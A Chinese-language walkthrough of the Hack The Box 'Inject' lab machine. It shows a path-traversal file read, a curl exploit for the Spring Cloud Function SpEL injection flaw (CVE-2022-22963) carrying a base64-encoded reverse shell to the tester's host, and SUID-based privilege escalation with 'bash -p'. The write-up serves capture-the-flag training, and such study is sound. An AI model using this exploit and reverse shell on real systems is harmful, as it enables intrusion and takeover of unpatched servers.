HTB靶场：简单inject-Toy模板网

这篇具有很好参考价值的文章主要介绍了HTB靶场：简单inject。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

HTB靶场：简单inject

1、进入靶场，连接vpn后开启靶机 inject

HTB靶场：简单inject

2、nmap扫描一下靶机

nmap -v -A 10.10.11.*

HTB靶场：简单inject

扫描后显示服务和端口信息8080和22

3、打开web服务

HTB靶场：简单inject

1）有上传文件功能简单上传了几个文件（txt,img等上传过程根据参数简单测试了rce和注入发现无回显并且不对猜测可能不是此考点、转换思路上传的图片）
2）上传图片会显示路径。
HTB靶场：简单inject 3）看到有路径猜测是否可跨目录文件包含，试后发现有并且有回显

/show_image?img=../../../../../../../etc/passwd

4)包含可直接显示目录最终找到web目录pom.xml看看有什么依赖

HTB靶场：简单inject 5）知识点 Spel表达式注入（3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2）CVE-2022-22963、直接打的反弹shell的payload

curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMTEvNjY4OCAwPiYx}|{base64,-d}|{bash,-i} ")' --data-raw 'data' -v

6）以上base64换成自己地址、监听端口6688

HTB靶场：简单inject

7）发现无权限查看目录
HTB靶场：简单inject
8）提权（推荐一个linux提权 https://pentestlab.blog/2017/09/25/suid-executables/）

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
bash -p

发现有bash可用
HTB靶场：简单inject

直接 bash -p 提权成功
9）寻找flag root目录下/

cat /home/phil/user.txt
cat /root/root.txt

HTB靶场：简单inject 文章来源地址https://www.toymoban.com/news/detail-488809.html

到了这里，关于HTB靶场：简单inject的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！

HTB靶场：简单inject